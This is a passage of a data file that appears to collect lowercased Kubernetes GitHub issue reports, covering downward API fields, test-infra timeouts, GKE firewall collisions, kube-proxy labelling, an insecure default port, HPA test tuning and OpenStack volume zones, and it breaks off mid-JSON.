  \r   what happened  :\r the availability of pod and container fields in the downward api depends on the method used to expose these.  for example, using  downwardapivolumefile ,  status.hostip ,  spec.nodename  and other similar fields are not available, however these fields are available using  envvarsource .\r \r   what you expected to happen  :\r i would expect the availability of fields would be consistent regardless of the method used to expose them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r from the  documented example  https://kubernetes.io/docs/tasks/inject-data-application/downward-api-volume-expose-pod-information/ store-pod-fields , try to expose a  fieldpath  value of  status.hostip  or  spec.nodename .\r \r   anything else we need to know?  :\r relevant api documentation:\r - https://kubernetes.io/docs/resources-reference/v1.7/ downwardapivolumefile-v1-core\r - https://kubernetes.io/docs/resources-reference/v1.7/ envvarsource-v1-core\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :  gcp \r \r - os  e.g. from /etc/os-release :\r    \r build_id=9460.64.0\r name=\ container-optimized os\ \r kernel_commit_id=efee0d7cfca9bf17817d7b5d796b56fa75c3b217\r google_crash_id=lakitu\r version_id=59\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=59\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :\r    \r linux gke-my-cluster-default-pool-759fcf29-97lh 4.4.52+  1 smp thu jun 15 15:23:01 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r

last good aws presubmit: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/52948/pull-kubernetes-e2e-kops-aws/50600\r \r first bad aws presubmit: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/52634/pull-kubernetes-e2e-kops-aws/50601\r \r based on the infra commit changing between those two, https://github.com/kubernetes/test-infra/pull/4750 looks to be the culprit\r \r we appear to be hitting a timeout now\r \r    error during ./hack/ginkgo-e2e.sh --ginkgo.flakeattempts=2 --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ hpa\\ |dashboard|services. functioning. nodeport --report-dir=/workspace/_artifacts --disable-log-dump=true  interrupted : exit status 1   \r \r https://k8s-testgrid.appspot.com/kubernetes-presubmits pull-kubernetes-e2e-kops-aws&graph-metrics=test-duration-minutes\r \r fyi @zmerlynn @krzyzacy \r /assign @cjwagner \r as testinfra oncall\r \r /   since it looks to be a test-infra issue\r  since it's kops-aws

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r with gke as cloud provider, when creating multiple loadbalancer with different loadbalancersourceranges, different fw rules are created as expected. \r problem is that checking from gcp console, every fw rule has the same target, and there is a colision.\r as a result, fw rules are applied randomly when connecting to a loadbalancer.\r \r   what you expected to happen  :\r every loadbalancer  external ip  has its own fw rules applied.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create one loadbalancer  1  with a set of loadbalancersourceranges  1 \r - create another loadbalancer  2  with another set of loadbalancersourceranges  2 \r - connect to loadbalancer  1  and check that different set loadbalancersourceranges  1  and  2  are applied randomly \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-gke.1\ , gitcommit:\ 4ce7af72d8d343ea2f7680348852db641ff573af\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t22:30:55z\ , goversion:\ go1.9.2b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke\r \r

is this a bug report or feature request?  :\r   / \r   what happened  :\r split from https://github.com/kubernetes/kubernetes/issues/62700. echo what was said in https://github.com/kubernetes/kubernetes/issues/62700 issuecomment-382105808:\r > we found a regression  possibly introduced by  60020  in alpha cluster that kube-proxy-ds-ready label is not attached to node anymore, which causes kube-proxy not being scheduled to any node.\r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/26432\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:137\r apr 17 23:58:07.778: error waiting for all pods to be running and ready: 2 / 10 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                                    node                                            phase   grace conditions\r kube-dns-669b48db58-gqm89              gke-e2e-26432-17a782-default-pool-7ac98862-h944 running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-17 23:41:51 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-17 23:41:51 +0000 utc reason:containersnotready message:containers with unready status:  kubedns } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-17 23:41:48 +0000 utc reason: message:} \r metrics-server-v0.2.1-67f98b4d9f-hf4r6 gke-e2e-26432-17a782-default-pool-7ac98862-h944 running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-17 23:41:51 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-17 23:51:53 +0000 utc reason:containersnotready message:containers with unready status:  metrics-server } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-17 23:41:48 +0000 utc reason: message:} \r    \r relevant logs line of kubelet:\r    \r i0417 22:06:51.154242    1010 flags.go:27  flag: --node-labels=\ beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool\ \r    \r \r cc @rramkumar1 @caesarxuchao

is this a bug report or feature request?  :\r   \r from https://github.com/kubernetes/kubernetes/issues/64899, it seems like kubelets is intended made to not be able to self-label anymore  kubernetes/community 911 . current kube-proxy migration path depends on kubelets being able to self-label upon node upgrade, hence https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-latest-upgrade-kube-proxy-ds is mostly failing.\r \r one fix in my mind might be to migrate off the label logic from kubelet to somewhere else  possibly in the cluster management layer .\r \r this will block https://github.com/kubernetes/kubernetes/issues/23225.\r \r /assign\r cc @thockin @bowei @dcbw

 \r   what happened  :\r when building a cloud-controller-manager using the pro-forma manifests, the cloud-controller ends up listening insecurely on port 10253 by default\r \r   what you expected to happen  :\r \r the documentation should explain what the cloud-controller-manager is doing on that port, and how to secure it - assuming it is required. \r \r i'd expect it wouldn't listen insecurely by default on all addresses \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r all the manifests for the external cloud controllers detailed here \r \r https://kubernetes.io/docs/tasks/administer-cluster/running-cloud-controller/\r \r do nothing with --port or --secure-port\r \r the one i'm writing\r \r https://github.com/brightbox/brightbox-cloud-controller-manager\r \r using the same sort of manifest ends up listening insecurely on 0.0.0.0 on port 10253 unless i use '--port 0' to stop it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-rc.1\ , gitcommit:\ 8745ea56e3f1f3ad20050c1762eb6ba6f7786675\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t00:01:04z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-rc.1\ , gitcommit:\ 8745ea56e3f1f3ad20050c1762eb6ba6f7786675\ , gittreestate:\ clean\ , builddate:\ 2018-06-20t23:52:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r brightbox\r - os  e.g. from /etc/os-release :\r ubuntu 18.03 lts\r - kernel  e.g.  uname -a  :\r linux srv-yywho 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm/terraform\r - others:\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r hpa e2e tests specify 20 as requestsizemillicores on resource-consumer for making cpu workload to test hpa feature, and the value is hard-coded on the test like:\r test/e2e/common/autoscaling_utils.go\r    \r  46         dynamicrequestsizeinmillicores  = 20\r    \r that means the tests expect 2% cpu workload on every resource-consumer processes, but actual cpu usage 4 - 6%  is over than the expected usage on some environment.\r then hpa scales many pods than the test expected, and the test is failed.\r \r   what you expected to happen  :\r \r all hpa tests can run successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i checked the actual cpu usage of resource-consumer with the following commands:\r \r    \r $ kubectl run resource-consumer --image=gcr.io/kubernetes-e2e-test-images/resource-consumer:1.3 --port 8080 --requests='cpu=500m,memory=256mi'\r $ kubectl autoscale deployment resource-consumer --min=1 --max=5 --cpu-percent=20\r $ kubectl expose deployment resource-consumer\r $ address= kubectl get service | grep resource-consumer | awk '{print $3}' \r $ curl --data \ millicores=20&durationsec=600\  http://${address}:8080/consumecpu\r    \r even if specifying 20 as millicores, the process cpu usage is over 6% like:\r    \r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command\r 15096 root      20   0    9368   6252   1220 s   6.9  0.2   0:06.50 consume-cpu\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   \r \r   what happened  :\r \r    \r azureuser@k8s-master-34767551-0:~$ kubectl describe node k8s-agentmd-34767551-1 | grep 'addresses:' -a 2\r addresses:\r   internalip:  10.239.0.128\r   hostname:    k8s-agentmd-34767551-1\r azureuser@k8s-master-34767551-0:~$ kubectl describe node k8s-agentmd-34767551-2 | grep 'addresses:' -a 2\r addresses:\r   hostname:  k8s-agentmd-34767551-2\r capacity:\r    \r \r the internal ip address is got from instance metadata. i suspect the instance metadata may not be stable, e.g. it has undocumented rate limits  refer  67478 .\r \r cross refer https://github.com/azure/acs-engine/issues/3503.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

@dashpole yesterday,i switch cgroup-driver from cgroupfs to systemd for kubelet and docker,but always got this info:\r  jan 12 15:03:25 host-10-47-223-19 kubelet: f0112 15:03:25.286483   28583 kubelet.go:1374  failed to start containermanager failed to enforce kube reserved cgroup limits on \ /kubelet.slice\ : \ /kubelet.slice\  cgroup does not exist \r my part cofiguration of kubelet is like this\r  --kube-reserved-cgroup=/kubelet.slice \r and  i'm very sure there are the directory \ kubelet.slice\  in every cgroup subsystem path.\r then i view  codes and find the sections :\r ! image  https://user-images.githubusercontent.com/20693362/51070777-c8627a00-1681-11e9-8d5b-a737132a459f.png \r so i modified my kubelet configeration:\r  --kube-reserved-cgroup=/kubelet \r then everything is well.\r \r so ,my question is why the  systemd and cgroupfs  use different paths? and do you know more differences between them？could you tell me？\r thanks a lot！\r

bug report    kubernetes version    use  kubectl version  : 1.2.3    environment  : aws -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : kube-up -   others  :    what happened  : updated add-ons per https://github.com/kubernetes/kubernetes/tree/master/cluster/addons add-on-update-procedure  \ to update add-ons, just update the contents of /etc/kubernetes/addons directory with the desired definition of add-ons.\   after rebooting the master node, the updated yaml files are replaced with the default yaml files.     what you expected to happen  : the updated yaml files to persist. even after a master node reboot.    how to reproduce it    as minimally and precisely as possible : update the yaml files in /etc/kubernetes/addons/cluster-monitoring/influxdb/ and then reboot the master node.    anything else do we need to know  :

started here: https://github.com/kubernetes/community/wiki/contributor-guide:-building-your-kubernetes-tool  we should publish guidelines around what standards 3rd party tools should adhere to.  examples: - what namespace should 3rd party cluster services run in? - how should 3rd party cluster services be packaged and installed?  helm? - how should client binaries be packaged, installed and distributed? - what sort of documentation and guides should exit?

background\r \r the open-api spec is missing many concepts present in the kubernetes api.  these concepts are crucial to understanding the api, but because they are not present in the open-api spec, consumers of the spec lose this information.  in order to produce high-quality documentation and language-specific clients, the api concepts must be added to the open-api.json as extensions.\r \r examples:\r - there is no concept of operations being tied to specific objects, such as  create  operating on  deployment , however conceptually this is how our api is architected\r - there is no concept of having the same operation work on different objects, such as  create  existing in several forms for different object definitions\r - there is no concept of an object definition's api  group ,  version  or  kind .  e.g.  batch ,  v1beta1 , or  cronjob .  all of these fields get merged together into a single key, but the context is lost.\r \r   proposal\r \r extend open-api to retain this critical information about the api in the open-api.json file so that it can be parsed by client generators.\r \r   minimal extensions\r \r    definitions\r \r -  x  group  e.g. batch \r -  x  version  e.g. v1   p0 \r -  x  kind  e.g. deployment   p0 \r -  x  alternate versions  e.g. v1.job -> v1beta1.job \r -     sub-resource\r \r    json\r ...\r \ v1beta1.deployment\ : {\r     \ description\ : \ deployment enables declarative updates for pods and replicasets.\ ,\r     \ x-kubernetes.io\ : {\r       \ group\ : \ extensions\ ,\r       \ version\ : \ v1beta1\ ,\r       \ kind\ : \ deployment\ ,\r       \ alternate_versions\ :  \ v1\ , \ v1alpha1\  \r    },\r    ...\r },\r ...\r \ v1beta1.deploymentlist\ : {\r     \ description\ : \ deploymentlist is a list of deployments.\ ,\r     \ x-kubernetes.io\ : {\r       \ group\ : \ extensions\ ,\r       \ version\ : \ v1beta1\ ,\r       \ kind\ : \ deploymentlist\ ,\r       \ alternate_versions\ :  \ v1\ , \ v1alpha1\  ,\r       \ parent_resource\ : {\r           \ $ref\ : \  /definitions/v1beta1.deployment\ \r       },\r    },\r },\r ...\r    \r \r   operations\r -  x  name  e.g. create / replace / patch / get / list / list all / watch / scale / update status \r -     definition  e.g. v1beta1.deployment / v1.service / v1.configmap \r -     namespaced  e.g. true / false \r \r    json\r \ /apis/extensions/v1beta1/namespaces/{namespace}/deployments\ : {\r     \ get\ : {\r       \ x-kubernetes.io\ : {\r         \ schema\ : {\r           \ $ref\ : \  /definitions/v1beta1.deployment\ \r         },\r          \ name\ : \ list\ ,\r          \ display_name\ : \ list\ ,\r          \ namespaced\ : true,\r        },\r        ...\r        \ tags\ :  \r         \ extensions_v1beta1\ \r         ,\r        \ operationid\ : \ listextensionsv1beta1namespaceddeployment\ ,\r        ...\r     },\r     \ post\ : {\r       \ x-kubernetes.io\ : {\r         \ schema\ : {\r           \ $ref\ : \  /definitions/v1beta1.deployment\ \r         },\r          \ name\ : \ create\ ,\r          \ display_name\ : \ create\ ,\r          \ namespaced\ : true,\r        },\r        ...\r        \ tags\ :  \r           \ extensions_v1beta1\ \r         ,\r        \ operationid\ : \ createextensionsv1beta1namespaceddeployment\ ,\r        ...\r     },\r     \ delete\ : {\r       \ kubernetes.io\ : {\r         \ schema\ : {\r           \ $ref\ : \  /definitions/v1beta1.deployment\ \r         },\r          \ name\ : \ deletecollection\ ,\r          \ display_name\ : \ delete collection\ ,\r          \ namespaced\ : true,\r        },\r       ...\r        \ tags\ :  \r           \ extensions_v1beta1\ \r         ,\r        \ operationid\ : \ deleteextensionsv1beta1collectionnamespaceddeployment\ ,\r     },\r     ...\r    },\r    \r \r   additional extensions\r \r    definitions\r \r -     category  e.g. workload, service discovery \r \r    operations\r -     category  e.g. read, write \r \r \r

already done for daemonsets, we should do the same for deployments:\r    \r $ kc get ds -n kube-system \r name                   desired   current   ready     node-selector   age\r checkpoint-installer   1         1         1         master=true     42m\r kube-apiserver         1         1         1         master=true     42m\r kube-proxy             2         2         2         <none>          42m\r $ kc get ds -n kube-system -o wide\r name                   desired   current   ready     node-selector   age       container s            image s                                                                    selector\r checkpoint-installer   1         1         1         master=true     42m       checkpoint-installer   quay.io/coreos/pod-checkpointer:b4f0353cc12d95737628b8815625cc8e5cedb6fc   k8s-app=pod-checkpoint-installer\r kube-apiserver         1         1         1         master=true     42m       kube-apiserver         quay.io/coreos/hyperkube:v1.5.1_coreos.0                                   k8s-app=kube-apiserver\r kube-proxy             2         2         2         <none>          42m       kube-proxy             quay.io/coreos/hyperkube:v1.5.1_coreos.0                                   k8s-app=kube-proxy\r $ kc get deploy -n kube-system \r name                      desired   current   up-to-date   available   age\r kube-controller-manager   2         2         2            2           43m\r kube-dns                  1         1         1            1           43m\r kube-scheduler            2         2         2            2           43m\r $ kc get deploy -n kube-system -o wide\r name                      desired   current   up-to-date   available   age\r kube-controller-manager   2         2         2            2           43m\r kube-dns                  1         1         1            1           43m\r kube-scheduler            2         2         2            2           43m\r    \r @kubernetes/sig-cli-misc

there should be a way to request that the names of pods associated to a daemonset will carry a pod name which is equal to the hostname.\r \r this should make it easier to address the specific pods using kubedns.\r \r i.e currently a podname os a ds is something like  foo-x15nb  which leads to the fqdn  foox15nb.myservice.mycluster.svc .\r \r but to make it predictive it would be good if the hostname was used, then it's easier to lookup a psecific service on a specific host:  thefoohost.myservice.mycluster.svc .

is this a bug report or feature request?   bug report\r \r   kubernetes version    use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-1+c0b74ebf3ce26e-dirty\ , gitcommit:\ c0b74ebf3ce26e46b5397ffb5ce71cd02f951130\ , gittreestate:\ dirty\ , builddate:\ 2017-03-30t08:19:21z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i created new cinder storageclass, however it does ignore availability zone and it will provision volumes zone called nova  default \r \r yaml used to create cinder:\r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: standard\r provisioner: kubernetes.io/cinder\r parameters:\r   availability: zone-1\r    \r \r    \r % openstack volume list\r +--------------------------------------+-------------------------------------------------------------+-----------+------+-------------+\r | id                                   | display name                                                | status    | size | attached to |\r +--------------------------------------+-------------------------------------------------------------+-----------+------+-------------+\r | d71f8af4-2e84-4908-a3e8-b5f64d0ed3aa | kubernetes-dynamic-pvc-810f0f8b-191b-11e7-9a54-fa163e26fe46 | error     |   12 |             |\r +--------------------------------------+-------------------------------------------------------------+-----------+------+-------------+\r \r % openstack volume show d71f8af4-2e84-4908-a3e8-b5f64d0ed3aa\r +------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r | field                        | value                                                                                                                                                                                   |\r +------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r | attachments                  |                                                                                                                                                                                         |\r | availability_zone            | nova                                                                                                                                                                                    |\r | bootable                     | false                                                                                                                                                                                   |\r | consistencygroup_id          | none                                                                                                                                                                                    |\r | created_at                   | 2017-04-04t09:56:43.000000                                                                                                                                                              |\r | description                  | none                                                                                                                                                                                    |\r | encrypted                    | false                                                                                                                                                                                   |\r | id                           | d71f8af4-2e84-4908-a3e8-b5f64d0ed3aa                                                                                                                                                    |\r | multiattach                  | false                                                                                                                                                                                   |\r | name                         | kubernetes-dynamic-pvc-810f0f8b-191b-11e7-9a54-fa163e26fe46                                                                                                                             |\r | os-vol-tenant-attr:tenant_id | b23efb65b1d44b5abd561511f40c565d                                                                                                                                                        |\r | properties                   | kubernetes.io/created-for/pv/name='pvc-810f0f8b-191b-11e7-9a54-fa163e26fe46', kubernetes.io/created-for/pvc/name='storage-es-data-0', kubernetes.io/created-for/pvc/namespace='default' |\r | replication_status           | disabled                                                                                                                                                                                |\r | size                         | 12                                                                                                                                                                                      |\r | snapshot_id                  | none                                                                                                                                                                                    |\r | source_volid                 | none                                                                                                                                                                                    |\r | status                       | error                                                                                                                                                                                   |\r | type                         | none                                                                                                                                                                                    |\r | updated_at                   | 2017-04-04t09:56:43.000000                                                                                                                                                              |\r | user_id                      | 56ebdadedcbd34ccac211665a0bf5d78060040f1ff05fb5e896d77e7f882650d                                                                                                                        |\r +------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r \r    \r \r i added manual print here https://github.com/kubernetes/kubernetes/blob/v1.6.0/pkg/cloudprovider/providers/openstack/openstack_volumes.go l145\r \r it prints out:\r    \r {\ log\ :\ i0404 11:08:15.852302       1 openstack_volumes.go:145  createvolume availability: zone-1\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-04-04t11:08:15.852382116z\ \r    \r \r i tried to remove that newline from that string, but still it is creating that to nova availability zone. for me this looks like gophercloud volumes.createopts{ is not working as should in createvolume function https://github.com/kubernetes/kubernetes/blob/v1.6.0/pkg/cloudprovider/providers/openstack/openstack_volumes.go l144-l171 \r   what you expected to happen  :\r i except that if i define availability, like docs says it should also use that parameter when provisioning volume.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: standard\r provisioner: kubernetes.io/cinder\r parameters:\r   availability: zone-1\r    \r \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: es-data\r   labels:\r     component: elasticsearch\r     role: data\r spec:\r   servicename: elasticsearch-data\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         component: elasticsearch\r         role: data\r       annotations:\r         pod.beta.kubernetes.io/init-containers: ' \r           {\r           \ name\ : \ sysctl\ ,\r             \ image\ : \ busybox\ ,\r             \ imagepullpolicy\ : \ ifnotpresent\ ,\r             \ command\ :  \ sysctl\ , \ -w\ , \ vm.max_map_count=262144\  ,\r             \ securitycontext\ : {\r               \ privileged\ : true\r             }\r           }\r          '\r     spec:\r       containers:\r       - name: es-data\r         securitycontext:\r           privileged: true\r           capabilities:\r             add:\r               - ipc_lock\r         image: quay.io/pires/docker-elasticsearch-kubernetes:5.2.2_2\r         imagepullpolicy: always\r         env:\r         - name: namespace\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.namespace\r         - name: node_name\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.name\r         - name: \ cluster_name\ \r           value: \ myesdb\ \r         - name: node_master\r           value: \ false\ \r         - name: node_ingest\r           value: \ false\ \r         - name: http_enable\r           value: \ false\ \r         - name: \ es_java_opts\ \r           value: \ -xms256m -xmx256m\ \r         ports:\r         - containerport: 9300\r           name: transport\r           protocol: tcp\r         volumemounts:\r         - name: storage\r           mountpath: /data\r       nodeselector:\r         failure-domain.beta.kubernetes.io/zone: zone-1\r   volumeclaimtemplates:\r   - metadata:\r       name: storage\r       annotations:\r         volume.beta.kubernetes.io/storage-class: standard\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 12gi\r    \r \r \r   anything else we need to know  :\r \r

/assign @timothysc @dchen1107 @matchstick \r \r see https://github.com/kubernetes/test-infra/blob/master/experiment/bigquery/flakes-latest.json\r \r  downward api volume should update labels on modification  flakes at least once per day in the following job:\r   gce-container-vm: https://k8s-testgrid.appspot.com/google-gce gce-container-vm&width=5&sort-by-failures=\r \r  triage dashboard  http://go.k8s.io/triage  can filter down to just this job, which shows it fails around every other hour:\r   https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=downward%20api%20volume%20should%20update%20labels%20on%20modification

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r  root@docker3006 ~   kubectl get nodes\r name                           status     age       version\r docker3005.se.zzzc.qihoo.net   notready   18h       v1.7.0\r \r here is the pod json.\r \r {\r   \ kind\ : \ pod\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ nginx-test-1771026684-wj1sm\ ,\r     \ generatename\ : \ nginx-test-1771026684-\ ,\r     \ namespace\ : \ default\ ,\r     \ selflink\ : \ /api/v1/namespaces/default/pods/nginx-test-1771026684-wj1sm\ ,\r     \ uid\ : \ 791576d6-6847-11e7-965e-6c92bf0db0c9\ ,\r     \ resourceversion\ : \ 3322513\ ,\r     \ creationtimestamp\ : \ 2017-07-14t03:49:44z\ ,\r     \ deletiontimestamp\ : \ 2017-07-14t03:53:01z\ ,\r     \ deletiongraceperiodseconds\ : 30,\r     \ labels\ : {\r       \ app\ : \ nginx-test\ ,\r       \ pod-template-hash\ : \ 1771026684\ \r     },\r     \ annotations\ : {\r       \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicaset\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ nginx-test-1771026684\\\ ,\\\ uid\\\ :\\\ 790f92e4-6847-11e7-965e-6c92bf0db0c9\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 3322159\\\ }}\ \ \r     },\r     \ ownerreferences\ :  \r       {\r         \ apiversion\ : \ extensions/v1beta1\ ,\r         \ kind\ : \ replicaset\ ,\r         \ name\ : \ nginx-test-1771026684\ ,\r         \ uid\ : \ 790f92e4-6847-11e7-965e-6c92bf0db0c9\ ,\r         \ controller\ : true,\r         \ blockownerdeletion\ : true\r       }\r      \r   },\r   \ spec\ : {\r     \ volumes\ :  \r       {\r         \ name\ : \ default-token-4s932\ ,\r         \ secret\ : {\r           \ secretname\ : \ default-token-4s932\ ,\r           \ defaultmode\ : 420\r         }\r       }\r      ,\r     \ containers\ :  \r       {\r         \ name\ : \ nginx-test\ ,\r         \ image\ : \ nginx\ ,\r         \ resources\ : {},\r         \ volumemounts\ :  \r           {\r             \ name\ : \ default-token-4s932\ ,\r             \ readonly\ : true,\r             \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ \r           }\r          ,\r         \ terminationmessagepath\ : \ /dev/termination-log\ ,\r         \ terminationmessagepolicy\ : \ file\ ,\r         \ imagepullpolicy\ : \ always\ ,\r         \ securitycontext\ : {\r           \ privileged\ : false\r         }\r       }\r      ,\r     \ restartpolicy\ : \ always\ ,\r     \ terminationgraceperiodseconds\ : 30,\r     \ dnspolicy\ : \ clusterfirst\ ,\r     \ serviceaccountname\ : \ default\ ,\r     \ serviceaccount\ : \ default\ ,\r     \ nodename\ : \ docker3005\ ,\r     \ securitycontext\ : {},\r     \ schedulername\ : \ default-scheduler\ \r   },\r   \ status\ : {\r     \ phase\ : \ running\ ,\r     \ conditions\ :  \r       {\r         \ type\ : \ initialized\ ,\r         \ status\ : \ true\ ,\r         \ lastprobetime\ : null,\r         \ lasttransitiontime\ : \ 2017-07-14t03:49:44z\ \r       },\r       {\r         \ type\ : \ ready\ ,\r         \ status\ : \ false\ ,\r         \ lastprobetime\ : null,\r         \ lasttransitiontime\ : \ 2017-07-14t03:49:49z\ \r       },\r       {\r         \ type\ : \ podscheduled\ ,\r         \ status\ : \ true\ ,\r         \ lastprobetime\ : null,\r         \ lasttransitiontime\ : \ 2017-07-14t03:49:44z\ \r       }\r      ,\r     \ message\ : \ node docker3005 which was running pod nginx-test-1771026684-wj1sm is unresponsive\ ,\r     \ reason\ : \ nodelost\ ,\r     \ hostip\ : \ 10.172.189.139\ ,\r     \ podip\ : \ 172.17.46.10\ ,\r     \ starttime\ : \ 2017-07-14t03:49:44z\ ,\r     \ containerstatuses\ :  \r       {\r         \ name\ : \ nginx-test\ ,\r         \ state\ : {\r           \ running\ : {\r             \ startedat\ : \ 2017-07-14t03:49:49z\ \r           }\r         },\r         \ laststate\ : {},\r         \ ready\ : true,\r         \ restartcount\ : 0,\r         \ image\ : \ nginx:latest\ ,\r         \ imageid\ : \ 